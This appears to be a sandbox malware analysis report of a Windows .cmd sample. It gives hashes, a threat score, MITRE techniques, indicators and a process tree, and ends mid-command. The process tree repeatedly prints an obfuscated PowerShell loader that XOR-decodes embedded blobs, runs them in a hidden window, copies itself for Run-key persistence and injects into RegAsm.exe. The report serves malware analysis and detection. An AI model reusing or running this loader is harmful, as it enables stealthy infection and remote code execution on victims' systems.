a835f1601b2834fbeb9a3b4b3156d0d0e5ddeac3d9ca0500f5cbfe832d6958b4

Analysis

max time kernel
150s
max time network
129s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
15/08/2026, 06:14

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
file_670cab8529ccb18e.cmd
Size 39KB
Sample260815-gzh22sec62
SHA256 a835f1601b2834fbeb9a3b4b3156d0d0e5ddeac3d9ca0500f5cbfe832d6958b4
MD5 654d91d830dd631b4d36a47b4bcde02b
SHA1 11bbdaa3a713425e99cc9f15f170c8cf09896e49
SHA512 bb4d9db24e8ce5eeef793b0c3b865a8e1e90b1070e24451c5a55e9d1c6208b3a7f9d75159ef4657b4e94dd02331f0b4039afb22ab5b40f23edceb07fc2f7b6aa
SSDEEP 768:M5J8ZjbbeRU8uAvI5J8ZjbbeRU8uAvWy5J8ZjbbeRU8uAvI5J8ZjbbeRU8uAvWAZ:MzUjnaUYQzUjnaUYeyzUjnaUYQzUjnaN
TLSH
T11903E92FB51B3421A872B3A43C71E2E6E557ED135E0B1CA4319CC0D56B227B463EAD9C
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

defense_evasion discovery execution persistence

Malware Config

Signatures

Badlisted process makes network request 8 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
7	2052	powershell.exe
8	2052	powershell.exe
10	2052	powershell.exe
11	2052	powershell.exe
12	2052	powershell.exe
13	4720	powershell.exe
15	4720	powershell.exe
17	4720	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1220	powershell.exe
3464	powershell.exe
2052	powershell.exe
4720	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2301830172-776172150-2531349243-1000\Software\Microsoft\Windows\CurrentVersion\Run\bojjomoeSl = "C:\\ProgramData\\WindowsKeysManger.bat"	powershell.exe

Contacts third-party web service commonly abused for C2 1 TTPs 3 IoCs

Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

Web Service

T1102

flow	ioc
12	raw.githubusercontent.com
1	raw.githubusercontent.com
11	raw.githubusercontent.com

Discovers running processes 1 TTPs 1 IoCs

Running process information can be used to identify security tools or plan follow-on actions.

discovery

Process Discovery

T1057

pid	Process
3824	tasklist.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
5752	cscript.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 2052 set thread context of 3772	2052	powershell.exe	98

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
4228	cmd.exe
616	cmd.exe

Delays execution with timeout.exe 2 IoCs

defense_evasion

pid	Process
3788	timeout.exe
3832	timeout.exe

Suspicious behavior: EnumeratesProcesses 12 IoCs

pid	Process
1220	powershell.exe
1220	powershell.exe
2052	powershell.exe
2052	powershell.exe
3464	powershell.exe
3464	powershell.exe
3464	powershell.exe
2052	powershell.exe
2052	powershell.exe
4720	powershell.exe
4720	powershell.exe
4720	powershell.exe

Suspicious use of AdjustPrivilegeToken 5 IoCs

description	pid	Process
Token: SeDebugPrivilege	1220	powershell.exe
Token: SeDebugPrivilege	2052	powershell.exe
Token: SeDebugPrivilege	3464	powershell.exe
Token: SeDebugPrivilege	4720	powershell.exe
Token: SeDebugPrivilege	3824	tasklist.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4228 wrote to memory of 1220	4228	cmd.exe	90
PID 1220 wrote to memory of 2052	1220	powershell.exe	91
PID 2052 wrote to memory of 3196	2052	powershell.exe	93
PID 3196 wrote to memory of 1932	3196	csc.exe	94
PID 2052 wrote to memory of 3772	2052	powershell.exe	98
PID 2052 wrote to memory of 3772	2052	powershell.exe	98
PID 2052 wrote to memory of 3772	2052	powershell.exe	98
PID 2052 wrote to memory of 3772	2052	powershell.exe	98
PID 2052 wrote to memory of 3772	2052	powershell.exe	98
PID 2052 wrote to memory of 616	2052	powershell.exe	99
PID 3464 wrote to memory of 4720	3464	powershell.exe	100
PID 616 wrote to memory of 3788	616	cmd.exe	103
PID 4720 wrote to memory of 4620	4720	powershell.exe	104
PID 4620 wrote to memory of 544	4620	csc.exe	105
PID 616 wrote to memory of 3824	616	cmd.exe	106
PID 616 wrote to memory of 1624	616	cmd.exe	107
PID 616 wrote to memory of 5752	616	cmd.exe	109
PID 616 wrote to memory of 3832	616	cmd.exe	110

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\file_670cab8529ccb18e.cmd"
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=20-21;$ynpgMn=''zVd1sAa8IMhP9'';$gnH02VdZL=''ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82'';$d6nE5VQ=''THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4'';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, ''$oxpOOAFdB'', ''''));$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'''') $pFbzO7i7\"'" ; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\file_670cab8529ccb18e.cmd' -Destination 'C:\ProgramData\WindowsKeysManger.bat'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1220
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=20-21;$ynpgMn='zVd1sAa8IMhP9';$gnH02VdZL='ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82';$d6nE5VQ='THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, '$oxpOOAFdB', ''));$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'') $pFbzO7i7"
    3⤵
    - Badlisted process makes network request
    - Command and Scripting Interpreter: PowerShell
    - Adds Run key to start application
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2052
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\mihxc5rq\mihxc5rq.cmdline"
      4⤵
      Suspicious use of WriteProcessMemory
      PID:3196
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESE10.tmp" "c:\Users\Admin\AppData\Local\Temp\mihxc5rq\CSC202784CF3DD047EDAF13AB9450FC803F.TMP"
        5⤵
        
        PID:1932
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe
      "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegAsm.exe"
      4⤵
      PID:3772
  - - C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wrfgdfjdse.bat" "
      4⤵
      Executes a command shell one-liner
      Suspicious use of WriteProcessMemory
      PID:616
    - - C:\Windows\system32\timeout.exe
        
        timeout 70
        5⤵
        Delays execution with timeout.exe
        
        PID:3788
    - - C:\Windows\system32\tasklist.exe
        
        tasklist /fi "ImageName eq RegAsm.exe" /fo csv
        5⤵
        Discovers running processes
        Suspicious use of AdjustPrivilegeToken
        
        PID:3824
    - - C:\Windows\system32\find.exe
        
        find /I "RegAsm.exe"
        5⤵
        
        PID:1624
    - - C:\Windows\system32\cscript.exe
        
        cscript "C:\ProgramData\WindowsKeysManger.vbs"
        5⤵
        Executes a VBScript file via the Windows Script Host.
        
        PID:5752
    - - C:\Windows\system32\timeout.exe
        
        timeout 70
        5⤵
        Delays execution with timeout.exe
        
        PID:3832

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -Command "Start-Process $env:SystemRoot\System32\WindowsPowerShell\v1.0\powershell.exe -WindowStyle Hidden -ArgumentList '-Command \"$j=20-21;$ynpgMn=''zVd1sAa8IMhP9'';$gnH02VdZL=''ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82'';$d6nE5VQ=''THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4'';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, ''$oxpOOAFdB'', ''''));$oxpOOAFdBoldR='''';$i=0;for($j=0;$j-lt$oxpOOAFdBoldB.Length;$j++){$oxpOOAFdBoldR+=[char]($oxpOOAFdBoldB[$j]-bxor$tAPN98[$i++%$tAPN98.Length])};$wQ73WXbPP=$oxpOOAFdBoldR;$pFbzO7i7=$bDlyI3+$wQ73WXbPP;.($env:ComSpec[4,26,25]-join'''') $pFbzO7i7\"'" ; Copy-Item -Path 'C:\ProgramData\WindowsKeysManger.bat' -Destination 'C:\ProgramData\WindowsKeysManger.bat'
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3464
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$j=20-21;$ynpgMn='zVd1sAa8IMhP9';$gnH02VdZL='ddf69defb899bfbfb08ba79fe3f0d19dfeba84a5f690c7f1f7998bb2abeff7b8aee0958ea19fc3bf95a0ef948aa5f38482b0a7a9eaafabf8ac99a2e69ab7b095e7bf9fa1f7f9d6ebc9ad82b6d4c0b59fbbe9b09fb2c29188b695f0bf909ae2a98e96a8d9b3ae89a2e2f1c4bfbbddffafc4839ab4e3b291adfc8cd8a7e887a0948edca9befff8eb87bec89aa5969fcb9ecc94cce99e9effb58aa0bdc5ba9889f7af89a1e184848aacfab2bba2f190ac85e1babf8c80da96bea1c28edefbf0d1d68aa3cb8290aba89bda92ff9b979b83d1aa9889dde98a9cdf84b69ab4e98aabfff2bba3a0f5b7a0fb92c995bab4f8ebbdbfcb8e9ff7b1d49ac9aadc8f8993c1a18989a2e7929ffdd5b5899cd8908291b8fc80a988e1bad99de6ba8abacfdfbb98a2ff9cbdffc8b4a9f39ed4bc8994ab9f91a8a0b5939b97ebe5b78df0eea28cfe8eac859df499a8ffeebdbcb3e1a8bfb6c3da98b6a2ff91bdb2f08aa58099db92b9aca9e883aac5d79293c9c5a99fa3cdac8f8ec0958595bce3b295fbd6bbd98df9a8a0a18adce3cdf7bcd4e18af687ca9683e3b5dce3cfa09baed68681ab94faa495a1f5f9c390c6869fb6d4d6be9fa1ffb085accfd9dd97aed5e8d289feadb8bfe08a89a5d2c89393a0edbc99bfcfd9dd8488fcbdbeafe8bcddffc19795ab94f4f8d8acadedc2e2bbeeeda48ffdb388a7f4b7cbafbac78beb81b7a7c180feaec684f08982a18eb39e99bab58e8ea9d18f8ea794e7ebd489feadc699f38d83ad97b3f490eeb69a84befc97c7e696bd9393bbf5adc2b7b79893b083e8a299baeeab85ebb694c98695e4be90a1fabdafaae682cfe6a5baad9fafefba83b0ef9e9acff0f5a592adefb084a5b28acfe69bbff488e2bfb4c7efe2dea7ead3baabd8b7a682bba3f38d93ad97d4b188abc6e3d187fd82838389e0b591acf7a0c3eff3cadce6a8aef485e0dcbc9f9feb9382b1d2baacc3b5bf86c58de78f8b8c9bfeb5dce3fea8cbefe69edce694aef4aee0dcbc9f86f7978fad9ebbf491e2b382b9aef48f82';$d6nE5VQ='THdYC0g6dgRyfFRrC2lvUANVSRM9aXpRbA8DTV4KdmFWAXV7EVYYTndYBwpdWh5oeVNmCQgqGF8CewkEejAcIQIBSkI3UnVABH8xRl4tTHdYEkdgWx9BIgdGHkpiRQFvekcZfXZeYEQLURgZHTBaQ1V2S2oHSisVCwowRERhFTcIZgtoDCQOPBMFaGwaJUcPJEFeCTtHBHt2XGIJRm1CDUF6XQwye1IrFk4sWg1cbk1CLTZXdQsIKh1MAXxAGWwiEipdFjEfVhMhGlwlLRM0WR8sWAlBOwVDdmhaIkUDKxYMUmBEVzM3DzVVATYFShckB0MtKw0qBUJkHlUIfkQKOzEUCGZGZRlMAnMJCTw8VixBTm1VTAJgCTZIfUVxQmptUgtCfVoKQSIHUDhpOx8jQ2BnGW5xU2JEC2QYTQt5VRl/cBo5UHxXcEMGPxRKTkwDO0QBKQ5NGihxIzs4FiVLaz0PQw9vOWc8OBliC0kjDEQBYEwZMlFPaBxHYV5LSH1VADNrWWQJRyxCAkNmGwt0cFViCEksA11Je10Kbn1OKgFAYB8QSHFAA3N7T2AfWmFEDFJ9U0NreU8qQxVwVhdAf1MLdH5OYx9LJBFfBjBTCno4ACVISGRXSnVhVh5oalRrCwczHUQCc1MLMlRYawtbaxFJBiUGRBESGWlMEiMWVQE0D2AWPFB8UQhuSBRUe1MffXUTTQMIIxpEAXlRCG8/BghmDyMRRE80HDZfd1NzCV13bF4cUkYCcVpcdgkZN2IQVH1aCjQ8cGQYTGtUF30laUQ1OBloFQ8kQxFIZ0dKPFgVIQtIZR1EAngYTTtPVGsIQHRCL0NtRyB9dlpgHggvEUN0cVMsb3UaKUwIMhZECjQTFSosGixhJSMRRAZTURkxSE9qD0pwQhhVe0YZPFttUEwCZ1QXRWhHCHB9XnFMAmVYFlVgFFhgfkklIk5uVEhlRGFNYRU3CGYPIxFEBjQUTTw4';$c5Zupq=0x2373-0x1AC4;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0xAA)};$mTWCsBJcI=$oxpOOAFdB;$oxpOOAFdB=@();foreach($c in [char[]]$ynpgMn){$oxpOOAFdB+=[byte]($c-bxor0x55)};$tAPN98=$oxpOOAFdB;$oxpOOAFdBoldR='';$i=0;for($j=0;$j-lt$gnH02VdZL.Length;$j+=2){$oxpOOAFdBoldR+=[char](([Convert]::ToInt32($gnH02VdZL.Substring($j,2),16))-bxor$mTWCsBJcI[$i++%$mTWCsBJcI.Length])};$bDlyI3=$oxpOOAFdBoldR;$oxpOOAFdBoldB=[Convert]::FromBase64String([regex]::Replace($d6nE5VQ, '$oxpOOAFdB', 